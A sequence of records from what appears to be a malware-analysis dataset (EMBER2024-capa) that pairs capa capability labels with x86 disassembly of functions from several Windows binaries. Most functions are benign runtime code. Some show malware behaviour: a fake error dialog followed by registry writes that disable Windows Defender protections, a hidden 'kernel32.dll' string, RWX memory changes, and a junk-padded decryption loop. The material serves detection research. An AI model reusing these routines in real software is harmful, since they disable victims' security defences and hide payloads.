joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4016f0
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
push esi
push ebx
sub esp, 0x44
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Application_Error
mov dword [esp + 4], str.The_instruction_at_0x0046922e_referenced_memory_at_0x000000000._The_memory_could_not_be_read._nClick_on_OK_to_terminate_the_program
mov dword [esp], 0
call dword [sym.imp.USER32.dll_MessageBoxA]
sub esp, 0x10
lea eax, [esp + 0x34]
mov dword [esp + 0x3c], 1
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov dword [esp + 0x10], eax
mov dword [esp], 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
test eax, eax
jne 0x4018f5
mov eax, dword [esp + 0x34]
lea esi, [esp + 0x3c]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [esp + 0x14], 4
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], esi
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableAntiSpyware
mov dword [esp], eax
call ebx
sub esp, 0x18
lea eax, [esp + 0x38]
mov dword [esp + 0x20], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Real_Time_Protection
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
sub esp, 0x24
mov eax, dword [esp + 0x38]
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableRealtimeMonitoring
mov dword [esp], eax
call ebx
sub esp, 0x18
mov eax, dword [esp + 0x38]
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableBehaviorMonitoring
mov dword [esp], eax
call ebx
sub esp, 0x18
mov eax, dword [esp + 0x38]
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableScanOnRealtimeEnable
mov dword [esp], eax
call ebx
sub esp, 0x18
mov eax, dword [esp + 0x38]
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableOnAccessProtection
mov dword [esp], eax
call ebx
sub esp, 0x18
mov eax, dword [esp + 0x38]
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableIOAVProtection
mov dword [esp], eax
call ebx
sub esp, 0x18
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call ebx
sub esp, 4
add esp, 0x44
xor eax, eax
pop ebx
pop esi
ret 0x10
Function at 0x401d60
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00401dc0

Function at 0x401dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x40d050]
test esi, esi
jle 0x401ead
mov edi, dword [0x40d054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x401df4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x401ea6
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x401de0
mov dword [esp], eax
mov ebx, eax
call fcn.00402700
test eax, eax
mov edi, eax
je 0x401eea
lea ebx, [esi + esi*2]
mov esi, dword [0x40d054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.00402800
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x40d054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401eca
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401e9f
sub eax, 0x40
and eax, 0xffffffbf
je 0x401e9f
mov eax, dword [esp + 0x20]
add ebx, dword [0x40d054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x401eb4
add dword [0x40d050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x401dfe
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401d60
mov eax, dword [0x40d054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401d60
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401d60
lea esi, [esi]
Function at 0x4023b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x402405
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4023fe
test esi, esi
je 0x4023fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4023e0
mov dword [esp], 0x40d408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402620
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x402658
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x40264e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40265a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402640
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40196a
Capabilities:
Parse pe header

Disassembly:
push 0x74
push 0x403702
call fcn.00401c45
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x4019aa
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4019aa
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4019c2
cmp eax, 0x20b
je 0x4019af
mov dword [ebp - 0x1c], ebx
jmp 0x4019d6
cmp dword [ecx + 0x84], 0xe
jbe 0x4019aa
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x4019d0
cmp dword [ecx + 0x74], 0xe
jbe 0x4019aa
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x40357e], 0xffffffff
or dword [0x403582], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x403138]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x403134]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40357a], eax
call fcn.00401ba7
call fcn.00401c42
cmp dword [0x403018], ebx
jne 0x401a36
push fcn.00401c42
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00401c2f
mov dword [0x40300c], 0x401c97
push 0x403010
push 0x403008
call dword [sym.imp.MSVCR71.dll__initterm]
push 0x401beb
call fcn.00401b95
mov eax, dword [0x403130]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x40312c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [0x403b68]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x401a8d
push 0x403004
push section..data
call dword [sym.imp.MSVCR71.dll__initterm]
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x401b0c
cmp al, bl
je 0x401ab8
cmp dword [ebp - 0x20], ebx
jne 0x401b0c
mov al, byte [esi]
cmp al, bl
je 0x401ac8
cmp al, 0x20
ja 0x401ac8
inc esi
mov dword [ebp - 0x24], esi
jmp 0x401ab8
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x401ae4
movzx eax, word [ebp - 0x54]
jmp 0x401ae7
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.004016c9
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x401b04
push esi
call dword [0x403b80]
call dword [0x403b88]
jmp 0x401b62
cmp al, 0x22
jne 0x401b1b
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [0x403b90]
pop ecx
test eax, eax
je 0x401b2e
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x401aa6
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.00401c80
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x442004]
jne 0x40100a
repz ret
jmp fcn.00401927

Function at 0x408659
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004040cf
and dword [ebp - 4], 0
cmp dword [0x444104], 0
mov ebx, eax
jne 0x40870a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4087bb
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4087bb
push eax
call fcn.0040405d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x444104], eax
call esi
push eax
call fcn.0040405d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x444108], eax
call esi
push eax
call fcn.0040405d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44410c], eax
call esi
push eax
call fcn.0040405d
pop ecx
mov dword [0x444114], eax
test eax, eax
je 0x40870a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040405d
pop ecx
mov dword [0x444110], eax
mov eax, dword [0x444110]
cmp eax, ebx
je 0x408762
cmp dword [0x444114], ebx
je 0x408762
push eax
call fcn.004040d8
push dword [0x444114]
mov esi, eax
call fcn.004040d8
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408762
test edi, edi
je 0x408762
call esi
test eax, eax
je 0x408759
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x408759
test byte [ebp - 0xc], 1
jne 0x408762
or dword [ebp + 0x10], 0x200000
jmp 0x40879b
mov eax, dword [0x444108]
cmp eax, ebx
je 0x40879b
push eax
call fcn.004040d8
pop ecx
test eax, eax
je 0x40879b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40879b
mov eax, dword [0x44410c]
cmp eax, ebx
je 0x40879b
push eax
call fcn.004040d8
pop ecx
test eax, eax
je 0x40879b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x444104]
call fcn.004040d8
pop ecx
test eax, eax
je 0x4087bb
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4087bd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a9d0
Capabilities:
Enumerate gui resources
Get hostname

Disassembly:
sub esp, 0x82c
cmp dword [0x4e86a4], 0x13f7
mov eax, dword [esp + 0x830]
push ebx
mov ebx, dword [eax + 4]
push ebp
push esi
mov esi, dword [esp + 0x840]
push edi
mov edi, dword [eax]
mov eax, dword [esi]
mov ebp, 0xc6ef3720
mov dword [esp + 0x20], ebp
mov dword [esp + 0x28], eax
jne 0x40aa22
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
cmp dword [0x4e86a4], 0x60b
mov ecx, dword [esi + 4]
mov edx, dword [esi + 8]
mov eax, dword [esi + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x2c], eax
jne 0x40aa70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push 0
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov dword [esp + 0x1c], 0x20
jmp 0x40aa80
mov eax, edi
shl eax, 4
cmp dword [0x4e86a4], 5
mov dword [esp + 0x18], eax
jne 0x40aab8
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push 0
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.0040a980
lea eax, [edi + ebp]
mov dword [esp + 0x14], eax
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x2c]
cmp dword [0x4e86a4], 0x1b
mov dword [esp + 0x10], eax
mov dword [0x4cbb04], 0xffcf03fc
jne 0x40ab18
push 0
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
push 0x4013a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x14]
mov dword [0x4cbb04], 0
xor eax, dword [esp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x4cbb04], eax
sub ebx, dword [esp + 0x10]
mov esi, ebx
shl esi, 4
cmp dword [0x4e86a4], 0x78c
mov dword [esp + 0x18], ebx
jne 0x40ab63
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov eax, dword [esp + 0x18]
add eax, dword [esp + 0x20]
mov dword [esp + 0x14], eax
mov ecx, ebx
shr ecx, 5
mov dword [0x4cbb08], 0xc5e121b4
mov dword [0x4cbb0c], 0xffffffff
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x34]
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x28]
lea eax, [esi + edx]
xor eax, dword [esp + 0x10]
add ebp, 0x61c88647
xor eax, dword [esp + 0x14]
mov dword [esp + 0x20], ebp
sub edi, eax
sub dword [esp + 0x1c], 1
jne 0x40aa80
mov eax, dword [esp + 0x840]
mov dword [eax], edi
pop edi
pop esi
pop ebp
mov dword [eax + 4], ebx
pop ebx
add esp, 0x82c
ret 8
Function at 0x40abe0
Capabilities:
Copy file
Manipulate console buffer
Terminate thread

Disassembly:
sub esp, 0xad4
push esi
xor esi, esi
cmp dword [0x4e86a4], 0x516
jne 0x40ac35
push esi
lea eax, [esp + 0x2dc]
push eax
push esi
call sub.KERNEL32.dll_VerLanguageNameA
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor ecx, ecx
xor edx, edx
mov word [esp + 6], dx
lea eax, [esp + 8]
push eax
mov word [esp + 8], cx
mov ecx, dword [esp + 8]
push ecx
push esi
lea edx, [esp + 0x6e4]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xae0]
shr eax, 3
cmp eax, esi
jbe 0x40ad7c
mov ecx, dword [esp + 0xadc]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileExW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jmp 0x40ac70
cmp dword [0x4e86a4], 0x29
jne 0x40acb0
xor eax, eax
lea edx, [esp + 0x24]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
push edx
lea eax, [esp + 0x44]
push eax
push esi
mov dword [esp + 0x30], esi
call edi
push esi
push esi
push esi
push esi
push esi
push esi
call ebx
lea ecx, [esp + 0x3c]
push ecx
push 0x4013b0
call ebp
cmp dword [0x4e86a4], 0xe1b
jne 0x40acd2
lea edx, [esp + 0xf8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x4e86a4], 0x1c
jne 0x40ad2a
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_QueryDepthSList]
push esi
push esi
push esi
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
lea edx, [esp + 0xf8]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [esp + 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov ecx, dword [esp + 0xaf0]
mov edx, dword [esp + 0x10]
push ecx
push edx
call fcn.0040a9d0
cmp dword [0x4e86a4], 0x4fa
jne 0x40ad69
xor eax, eax
xor ecx, ecx
lea edx, [esp + 0x38]
push edx
mov word [esp + 0x1c], ax
mov word [esp + 0x1e], cx
mov eax, dword [esp + 0x1c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x40ac70
pop edi
pop ebp
pop ebx
pop esi
add esp, 0xad4
ret 0xc
Function at 0x40ad90
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x38
cmp dword [0x4e86a4], 0x37
jne 0x40ae59
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x4013c0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x401474
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
lea edx, [esp + 4]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov dword [esp], 0
mov eax, dword [0x4e86a8]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x3c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x4cbb00]
mov byte [ecx + eax], dl
add esp, 0x38
ret 4

Function at 0x40aec0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x45f9c8
mov byte [0x45f9c9], al
mov byte [0x45f9ca], 0x72
mov byte [0x45f9d0], 0x2e
mov byte [0x45f9d1], 0x64
mov byte [0x45f9d2], cl
mov byte [0x45f9d4], 0
mov byte [0x45f9cc], al
mov byte [0x45f9cd], cl
mov byte [0x45f9ce], 0x33
mov byte [0x45f9cf], 0x32
mov byte [0x45f9d3], al
mov byte [0x45f9cb], 0x6e
mov byte [0x45f9c8], 0x6b
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [0x4e86a4]
mov edx, dword [0x4cbb00]
mov dword [0x4e7d3c], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x45f9d6], 0
mov byte [0x45f9cf], 0x50
mov byte [0x45f9cd], 0x61
mov byte [0x45f9c8], 0x60
mov byte [0x45f9d0], 0x7c
mov byte [0x45f9d1], 0x6f
mov byte [0x45f9d5], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x40c3a0
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40c3bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40c3c6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40c3dd
mov ecx, dword [ebp - 4]
push ecx
call fcn.00412fe0
add esp, 4
or eax, 0xffffffff
jmp 0x40c3df
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x414c60
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45e4b4]
jne 0x414c6a
repz ret
jmp fcn.00422bf0
Function at 0x4045e0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
xor eax, eax
cmp dword [esp + 0x20], 0
je 0x4046d0
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x4046d0
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x40462a
mov ecx, 0x1505
xor edi, edi
nop
movzx edx, byte [ebx + edi]
test edx, edx
je 0x404631
inc edi
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
mov ecx, esi
cmp ebp, edi
jne 0x404610
jmp 0x404633
mov esi, 0x1505
jmp 0x404633
mov esi, ecx
mov ecx, dword [esp + 0x20]
mov edi, dword [ecx + 0x20]
test edi, edi
je 0x4046d0
mov eax, edi
not eax
and eax, 1
mov ebx, edi
and ebx, 0xfffffffe
sub ebx, eax
and ebx, esi
lea eax, [edi - 1]
mov dword [esp + 8], eax
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x404674
inc ebx
dec edi
je 0x4046ce
mov eax, ebx
and eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov ebp, dword [edx + eax*4]
cmp ebp, 0xffffffff
je 0x4046ce
mov eax, dword [ecx + 8]
cmp dword [eax + ebp*4], esi
jne 0x404670
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + ebp*4]
mov dword [esp], eax
push eax
call fcn.0040cb50
mov ecx, dword [esp + 0x24]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x404670
push dword [esp + 0x28]
push dword [esp + 4]
push dword [esp + 0x2c]
call fcn.0040cb70
mov ecx, dword [esp + 0x2c]
add esp, 0xc
test eax, eax
jne 0x404670
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + ebp*4]
jmp 0x4046d0
xor eax, eax
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret